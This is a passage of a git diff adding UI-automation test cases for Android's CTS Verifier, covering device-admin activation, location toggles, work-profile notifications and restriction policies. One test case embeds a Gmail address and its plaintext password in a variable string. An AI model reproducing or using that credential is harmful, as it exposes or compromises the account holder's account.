+{"uuid":"56cbd2d5-2a74-4b2f-aaf1-d2fe2aa5f479","details":"{\"type\":\"CompoundAction\",\"name\":\"test_No Device Owner Tests\",\"actionId\":\"56cbd2d5-2a74-4b2f-aaf1-d2fe2aa5f479\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ConditionValidationAction\",\"name\":\"VERIFY if pass button of No Device owner tests enabled\",\"actionId\":\"fd10d765-c733-42aa-a1bb-7642f3646113\",\"actionType\":\"CONDITION_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"query\":{\"condition\":\"and\",\"rules\":[{\"field\":\"resourceId\",\"operator\":\"=\",\"value\":\"com.android.cts.verifier:id/pass_button\"},{\"field\":\"enabled\",\"operator\":\"=\",\"value\":\"true\"}]},\"clickAfterValidation\":true}],\"childrenIdList\":[\"d52e2b4c-6bf6-4d93-af37-785ce2d74664\",\"c053d68c-aa89-494f-9a6d-a24f4eba7de4\",\"8176eaad-a582-41ea-8d8e-9c8673e8ceb0\",\"fb524e6c-60b2-4211-b7e4-37f76f26a3ef\",\"fd10d765-c733-42aa-a1bb-7642f3646113\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"test_No Device Owner Tests","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.215000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/59dc74cf-f26b-4e66-85e1-4fb8ce477ae9 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/59dc74cf-f26b-4e66-85e1-4fb8ce477ae9
new file mode 100644
index 0000000..32c981f
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/59dc74cf-f26b-4e66-85e1-4fb8ce477ae9
@@ -0,0 +1 @@
+{"uuid":"59dc74cf-f26b-4e66-85e1-4fb8ce477ae9","details":"{\"type\":\"CompoundAction\",\"name\":\"Activate this device admin app - Sensor\",\"actionId\":\"59dc74cf-f26b-4e66-85e1-4fb8ce477ae9\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"pololee\",\"childrenActions\":[{\"type\":\"PythonScriptAction\",\"name\":\"Toggle Sensor... switch on\",\"actionId\":\"8d61a833-dc9f-4393-9130-bc470ccc61d4\",\"actionType\":\"PYTHON_SCRIPT_ACTION\",\"createdBy\":\"pololee\",\"script\":\"from python_uiautomator.device import Device\\n\\n\\nd = Device.create_device_by_slot(0)\\n\\nif d.text(\\\"Sensor Tests Device Admin Receiver\\\").right().resource_id(\\\"android:id/switch_widget\\\").attributes(\\\"checked\\\", \\\"false\\\").verify_exist():\\n    d.text(\\\"Sensor Tests Device Admin Receiver\\\").right().resource_id(\\\"android:id/switch_widget\\\").attributes(\\\"checked\\\", \\\"false\\\").click()\\n\",\"expectedReturnCode\":\"0\",\"isPathProvided\":false,\"path\":null},{\"type\":\"ClickAction\",\"name\":\"Click Action, id/action_button\",\"actionId\":\"886e97ef-b3bc-4fb7-becc-3ba83f93e504\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"com.android.settings:id/action_button\"}],\"childrenIdList\":[\"e85d4353-bdbe-4671-9f3f-b94ec6b06b0e\",\"8d61a833-dc9f-4393-9130-bc470ccc61d4\",\"886e97ef-b3bc-4fb7-becc-3ba83f93e504\",\"da770381-d17c-48ca-8aba-def4338ef96b\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Activate this device admin app - Sensor","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.274000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/59eff0da-e8a3-4322-9f00-9a3bd9237e10 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/59eff0da-e8a3-4322-9f00-9a3bd9237e10
new file mode 100644
index 0000000..307cfa2
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/59eff0da-e8a3-4322-9f00-9a3bd9237e10
@@ -0,0 +1 @@
+{"uuid":"59eff0da-e8a3-4322-9f00-9a3bd9237e10","details":"{\"type\":\"CompoundAction\",\"name\":\"Turn Locaion on\",\"actionId\":\"59eff0da-e8a3-4322-9f00-9a3bd9237e10\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"pololee\",\"childrenActions\":[{\"type\":\"PythonScriptAction\",\"name\":\"Toggle Location switch on\",\"actionId\":\"b484215d-9c0d-4a02-8566-e13a78afb2e3\",\"actionType\":\"PYTHON_SCRIPT_ACTION\",\"createdBy\":\"pololee\",\"script\":\"from python_uiautomator.device import Device\\nfrom python_uiautomator.constant import MatchOption\\n\\n\\nd = Device.create_device_by_slot(0)\\n\\nif d.text(\\\"location\\\", MatchOption.CONTAINS).right().resource_id(\\\"com.android.settings:id/switch_widget\\\").attributes(\\\"checked\\\", \\\"false\\\").verify_exist():\\n    d.text(\\\"location\\\", MatchOption.CONTAINS).right().resource_id(\\\"com.android.settings:id/switch_widget\\\").attributes(\\\"checked\\\", \\\"false\\\").click()\\n\",\"expectedReturnCode\":\"0\",\"isPathProvided\":false,\"path\":null}],\"childrenIdList\":[\"31d97492-1de9-41be-8213-c67eb06406b1\",\"b484215d-9c0d-4a02-8566-e13a78afb2e3\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Turn Locaion on","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.276000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/5caa8a3a-bdb2-4642-87b7-b5d5f855b32b b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/5caa8a3a-bdb2-4642-87b7-b5d5f855b32b
new file mode 100644
index 0000000..780b08d
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/5caa8a3a-bdb2-4642-87b7-b5d5f855b32b
@@ -0,0 +1 @@
+{"uuid":"5caa8a3a-bdb2-4642-87b7-b5d5f855b32b","details":"{\"type\":\"CompoundAction\",\"name\":\"Assert the work profile location go disabled and into 'off' state\",\"actionId\":\"5caa8a3a-bdb2-4642-87b7-b5d5f855b32b\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"pololee\",\"childrenActions\":[{\"type\":\"PythonScriptAction\",\"name\":\"Assert the work profile location go disabled and into 'off' state\",\"actionId\":\"171f3a20-7e9a-4e17-a115-d3f28be61bf4\",\"actionType\":\"PYTHON_SCRIPT_ACTION\",\"createdBy\":\"pololee\",\"script\":\"from python_uiautomator.device import Device\\nfrom python_uiautomator.uicd_python_util import UICDPythonUtil\\n \\nuicd_util = UICDPythonUtil()\\nd = Device.create_device_by_slot(0)\\n\\nresult = d.text(\\\"Location for work profile\\\").right().resource_id(\\\"android:id/switch_widget\\\").attributes(\\\"enabled\\\", \\\"false\\\").attributes(\\\"checked\\\", \\\"false\\\").verify_exist()\\nuicd_util.assert_true(result, \\\"Element not found\\\")\",\"expectedReturnCode\":\"0\",\"isPathProvided\":false,\"path\":null}],\"childrenIdList\":[\"171f3a20-7e9a-4e17-a115-d3f28be61bf4\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Assert the work profile location go disabled and into 'off' state","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.287000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/5cab765b-34d5-4922-a223-6322eaf241ae b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/5cab765b-34d5-4922-a223-6322eaf241ae
new file mode 100644
index 0000000..8afb381
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/5cab765b-34d5-4922-a223-6322eaf241ae
@@ -0,0 +1 @@
+{"uuid":"5cab765b-34d5-4922-a223-6322eaf241ae","details":"{\"type\":\"CompoundAction\",\"name\":\"Press back key 4 times\",\"actionId\":\"5cab765b-34d5-4922-a223-6322eaf241ae\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"b5f4a5fd-ae6c-4b2f-98ac-2b748e7781e1\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true}],\"childrenIdList\":[\"b5f4a5fd-ae6c-4b2f-98ac-2b748e7781e1\"],\"repeatTime\":4,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Press back key 4 times","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.113000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/5d3b6fb3-0e69-4463-ae02-693b7a7e2f6c b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/5d3b6fb3-0e69-4463-ae02-693b7a7e2f6c
new file mode 100644
index 0000000..8c6b4f5
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/5d3b6fb3-0e69-4463-ae02-693b7a7e2f6c
@@ -0,0 +1 @@
+{"uuid":"5d3b6fb3-0e69-4463-ae02-693b7a7e2f6c","details":"{\"type\":\"CompoundAction\",\"name\":\"15-12 &amp; 17-06-04-Disallow install unknown sources\",\"actionId\":\"5d3b6fb3-0e69-4463-ae02-693b7a7e2f6c\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to Disallow install unknown sources\",\"actionId\":\"a18d3bcc-1d42-4d0a-86e5-a695bbf764aa\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Disallow install unknown sources\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"94915b7b-d45b-4e22-9631-3d344068098c\",\"displayText\":\"Disallow install unknown sources\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/text1\",\"text\":\"Disallow install unknown sources\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":370.3333333333333,\"x2\":360.0,\"y2\":414.3333333333333},\"clickedPos\":{\"confidentLevel\":2,\"x\":112.0,\"y\":393.5,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":68.0,\"y\":-1.1666666666666856,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"leafNodeContext\":\"94915b7b-d45b-4e22-9631-3d344068098c\",\"firstText\":\"Disallow install unknown sources\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Disallow install unknown sources\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":0.0,\"y1\":377.0,\"x2\":224.0,\"y2\":410.0},\"scrollOrientation\":2,\"scrollMaxNumber\":5},{\"type\":\"ClickAction\",\"name\":\"Click Action, Disallow install unknown sources\",\"actionId\":\"652e8865-fb3c-4406-be89-cf0def965bb3\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Disallow install unknown sources\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, CTS Verifier\",\"actionId\":\"76333a19-a247-4cde-96ae-0e88eb2044d2\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"CTS Verifier\"},{\"type\":\"ClickAction\",\"name\":\"Click Action,Allow from this source\",\"actionId\":\"02d22d69-2616-4c06-ab9a-753e16e5ac37\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Allow from this source\"}],\"childrenIdList\":[\"a18d3bcc-1d42-4d0a-86e5-a695bbf764aa\",\"652e8865-fb3c-4406-be89-cf0def965bb3\",\"5ee29e64-400f-4c6f-ba29-d9442740b560\",\"be00d800-5235-410e-a535-55a76d9200b9\",\"76333a19-a247-4cde-96ae-0e88eb2044d2\",\"02d22d69-2616-4c06-ab9a-753e16e5ac37\",\"8003eafa-d92b-4571-ba71-a68648526e4f\",\"8b18fc23-789a-4c41-9746-297a040e35a7\",\"da770381-d17c-48ca-8aba-def4338ef96b\",\"15aa571c-2e4d-43c0-b9c7-07b4f23041c4\",\"41618467-e1d1-4cb0-ba3c-c3230a3442bf\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"15-12 &amp; 17-06-04-Disallow install unknown sources","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.136000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/5e0f41ed-e9c6-4d11-b3a2-815b415268db b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/5e0f41ed-e9c6-4d11-b3a2-815b415268db
new file mode 100644
index 0000000..1806953
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/5e0f41ed-e9c6-4d11-b3a2-815b415268db
@@ -0,0 +1 @@
+{"uuid":"5e0f41ed-e9c6-4d11-b3a2-815b415268db","details":"{\"type\":\"CompoundAction\",\"name\":\"17-06-Policy transparency test\",\"actionId\":\"5e0f41ed-e9c6-4d11-b3a2-815b415268db\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ClickAction\",\"name\":\"Click Action, Policy transparency test\",\"actionId\":\"823c238a-284a-4b9f-8f63-58392e20de57\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Policy transparency test\"}],\"childrenIdList\":[\"823c238a-284a-4b9f-8f63-58392e20de57\",\"1601f323-e824-4190-9ee0-350f0a1149ea\",\"336938a2-a45e-4245-a4a7-2f8704bc265d\",\"d1023735-52c1-48bc-9dc7-a7b03a15ca7b\",\"0e30ea6e-be38-468e-8499-790b05a37760\",\"e66ce1e2-883e-465b-8d82-3cdb852cc679\",\"eb48590b-4827-44e1-a2bd-9c3416e92404\",\"5d3b6fb3-0e69-4463-ae02-693b7a7e2f6c\",\"0c73b50f-d48d-4082-a091-3d4f55f77369\",\"3c4bab75-4bac-49fa-8264-5f4c3504c60b\",\"ae20d771-d892-4065-aa06-90335e33a588\",\"a1add8e6-5408-417e-942b-2663863fcdd6\",\"6f25a9fc-c4ab-4de4-ab9e-3df9737e1f1b\",\"ddbc4d31-a035-4eec-814a-def0efb2bfa5\",\"e395e5d8-df59-4e7d-bf18-6cd65da3ff8b\",\"a67e968f-ab80-4c16-87c6-76e7c22da2b7\",\"238c6d52-12d8-4d83-ae19-c703bcc6ec24\",\"41618467-e1d1-4cb0-ba3c-c3230a3442bf\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"$uicd_Gmail_account=playinstallapk02@gmail.com,\\n$uicd_Gmail_account_password=@DoubleCare20,\"}}","name":"17-06-Policy transparency test","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.201000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/5e7a1b39-3e17-45e2-863f-ad55e97d901f b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/5e7a1b39-3e17-45e2-863f-ad55e97d901f
new file mode 100644
index 0000000..3e03abb
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/5e7a1b39-3e17-45e2-863f-ad55e97d901f
@@ -0,0 +1 @@
+{"uuid":"5e7a1b39-3e17-45e2-863f-ad55e97d901f","details":"{\"type\":\"CompoundAction\",\"name\":\"04_Work notification is badged(Check image)\",\"actionId\":\"5e7a1b39-3e17-45e2-863f-ad55e97d901f\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"pololee\",\"childrenActions\":[{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to Work notification is badged\",\"actionId\":\"ad08c429-251a-43ef-95ed-855ad4e0dbfc\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"pololee\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Work notification is badged\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"98647943-b32a-4b18-916f-9c55f8d2c5d1\",\"displayText\":\"Work notification is badged\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/text1\",\"text\":\"Work notification is badged\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":493.6666666666667,\"x2\":360.0,\"y2\":535.6666666666666},\"clickedPos\":{\"confidentLevel\":2,\"x\":95.5,\"y\":516.0,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":84.5,\"y\":-1.3333333333333712,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":3,\"leafNodeContext\":\"98647943-b32a-4b18-916f-9c55f8d2c5d1\",\"firstText\":\"Work notification is badged\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Work notification is badged\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":187.0,\"y1\":529.0,\"x2\":4.0,\"y2\":503.0},\"scrollOrientation\":2,\"scrollMaxNumber\":30},{\"type\":\"ClickAction\",\"name\":\"Click Action, Work notification is badged\",\"actionId\":\"f90c41ad-fa3a-4553-ac1e-3b251a64194d\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Work notification is badged\"},{\"type\":\"ConditionValidationAction\",\"name\":\"VERIFY-assert present This is a notification on Notification status bar\",\"actionId\":\"3b8f642b-84dd-4371-b501-5f7062c84108\",\"actionType\":\"CONDITION_VALIDATION_ACTION\",\"actionDescription\":\"This is a notification\",\"createdBy\":\"pololee\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"query\":{\"condition\":\"and\",\"rules\":[{\"field\":\"text\",\"operator\":\"=\",\"value\":\"This is a notification\"}]},\"clickAfterValidation\":false},{\"type\":\"ConditionValidationAction\",\"name\":\"VERIFY-assert present CTS Verifier on Notification status bar\",\"actionId\":\"06ce9232-2b47-4ea0-88b5-0612b0986d48\",\"actionType\":\"CONDITION_VALIDATION_ACTION\",\"actionDescription\":\"CTS Verifier\",\"createdBy\":\"pololee\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"query\":{\"condition\":\"and\",\"rules\":[{\"field\":\"resourceId\",\"operator\":\"=\",\"value\":\"android:id/app_name_text\"},{\"field\":\"text\",\"operator\":\"=\",\"value\":\"CTS Verifier\"}]},\"clickAfterValidation\":false},{\"type\":\"ConditionValidationAction\",\"name\":\"VERIFY-assert present Work profile badge on Notification status bar\",\"actionId\":\"99d4cf93-54d4-4bc0-9b9e-b1cf39d710db\",\"actionType\":\"CONDITION_VALIDATION_ACTION\",\"actionDescription\":\"Work profile (badge)\",\"createdBy\":\"pololee\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"query\":{\"condition\":\"and\",\"rules\":[{\"field\":\"resourceId\",\"operator\":\"=\",\"value\":\"android:id/profile_badge\"},{\"field\":\"contentDesc\",\"operator\":\"=\",\"value\":\"Work profile\"}]},\"clickAfterValidation\":false},{\"type\":\"ScreenCapAction\",\"name\":\"SCREEN CAP\",\"actionId\":\"d1408ba2-7ec7-48fa-9895-5685db1f4cdd\",\"actionType\":\"SCREEN_CAP_ACTION\",\"createdBy\":\"pololee\"},{\"type\":\"PythonScriptAction\",\"name\":\"Dismiss Notification This is a notification\",\"actionId\":\"ad2e8c09-7fa9-40e1-a207-9a9e35b12f70\",\"actionType\":\"PYTHON_SCRIPT_ACTION\",\"createdBy\":\"pololee\",\"script\":\"from python_uiautomator.device import Device\\n\\n\\nd = Device.create_device_by_slot(0)\\n\\nd.text(\\\"This is a notification\\\").swipe()\",\"expectedReturnCode\":\"0\",\"isPathProvided\":false,\"path\":null}],\"childrenIdList\":[\"cf1e8e8c-2104-46f1-8b28-4d372b86fc49\",\"ad08c429-251a-43ef-95ed-855ad4e0dbfc\",\"f90c41ad-fa3a-4553-ac1e-3b251a64194d\",\"b70fe893-88de-4879-90ab-c2929211baa8\",\"15c75efc-b173-4eed-9a2c-164886355c98\",\"3b8f642b-84dd-4371-b501-5f7062c84108\",\"06ce9232-2b47-4ea0-88b5-0612b0986d48\",\"99d4cf93-54d4-4bc0-9b9e-b1cf39d710db\",\"d1408ba2-7ec7-48fa-9895-5685db1f4cdd\",\"ad2e8c09-7fa9-40e1-a207-9a9e35b12f70\",\"31902e22-dd19-4a14-9a1f-5bca034bacd5\",\"11862730-912f-4b3c-99d6-cff28c749559\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"04_Work notification is badged(Check image)","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.295000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/5ee29e64-400f-4c6f-ba29-d9442740b560 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/5ee29e64-400f-4c6f-ba29-d9442740b560
new file mode 100644
index 0000000..0d9b825
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/5ee29e64-400f-4c6f-ba29-d9442740b560
@@ -0,0 +1 @@
+{"uuid":"5ee29e64-400f-4c6f-ba29-d9442740b560","details":"{\"type\":\"CompoundAction\",\"name\":\"Set restriction on by turning on the switch bar\",\"actionId\":\"5ee29e64-400f-4c6f-ba29-d9442740b560\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"PythonScriptAction\",\"name\":\"Set restriction on\",\"actionId\":\"4689bf42-4280-4e62-b839-416c57c4f495\",\"actionType\":\"PYTHON_SCRIPT_ACTION\",\"createdBy\":\"riacheltseng\",\"script\":\"from python_uiautomator.device import Device\\n\\nd= Device.create_device_by_slot(0)\\nif d.resource_id(\\\"com.android.cts.verifier:id/widget_label\\\").right().resource_id(\\\"com.android.cts.verifier:id/switch_widget\\\").attributes(\\\"checked\\\", \\\"false\\\").verify_exist():\\n    d.resource_id(\\\"com.android.cts.verifier:id/widget_label\\\").right().resource_id(\\\"com.android.cts.verifier:id/switch_widget\\\").attributes(\\\"checked\\\", \\\"false\\\").click()\\n\",\"expectedReturnCode\":\"0\",\"isPathProvided\":false,\"path\":null}],\"childrenIdList\":[\"4689bf42-4280-4e62-b839-416c57c4f495\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Set restriction on by turning on the switch bar","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.120000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/5f45dc78-6a4a-4b87-b860-01e0c4b7a04d b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/5f45dc78-6a4a-4b87-b860-01e0c4b7a04d
new file mode 100644
index 0000000..e2168d0
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/5f45dc78-6a4a-4b87-b860-01e0c4b7a04d
@@ -0,0 +1 @@
+{"uuid":"5f45dc78-6a4a-4b87-b860-01e0c4b7a04d","details":"{\"type\":\"CompoundAction\",\"name\":\"Assert present for Tile Service for CTS Verifier \",\"actionId\":\"5f45dc78-6a4a-4b87-b860-01e0c4b7a04d\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"pololee\",\"childrenActions\":[{\"type\":\"SwipeAction\",\"name\":\"left\",\"actionId\":\"2cf55856-6adb-4292-844e-eda4ec36f761\",\"actionType\":\"SWIPE_ACTION\",\"delayAfterActionMs\":2000,\"createdBy\":\"pololee\",\"startX\":340,\"startY\":320,\"endX\":20,\"endY\":320,\"startPointNodeContext\":null,\"endPointNodeContext\":null},{\"type\":\"ConditionValidationAction\",\"name\":\"VERIFY-assert present for Tile Service for CTS Verifier \",\"actionId\":\"eef187d5-7ea7-4dcb-846a-ae81e6a4dee9\",\"actionType\":\"CONDITION_VALIDATION_ACTION\",\"createdBy\":\"pololee\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"query\":{\"condition\":\"and\",\"rules\":[{\"field\":\"resourceId\",\"operator\":\"=\",\"value\":\"com.android.systemui:id/tile_label\"},{\"field\":\"text\",\"operator\":\"contains\",\"value\":\"Tile Service for CTS Verifier\"}]},\"clickAfterValidation\":false}],\"childrenIdList\":[\"2cf55856-6adb-4292-844e-eda4ec36f761\",\"eef187d5-7ea7-4dcb-846a-ae81e6a4dee9\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Assert present for Tile Service for CTS Verifier ","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.328000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/608f1c50-237e-4f5d-94c6-0bbbcba87332 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/608f1c50-237e-4f5d-94c6-0bbbcba87332
new file mode 100644
index 0000000..75b772f
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/608f1c50-237e-4f5d-94c6-0bbbcba87332
@@ -0,0 +1 @@
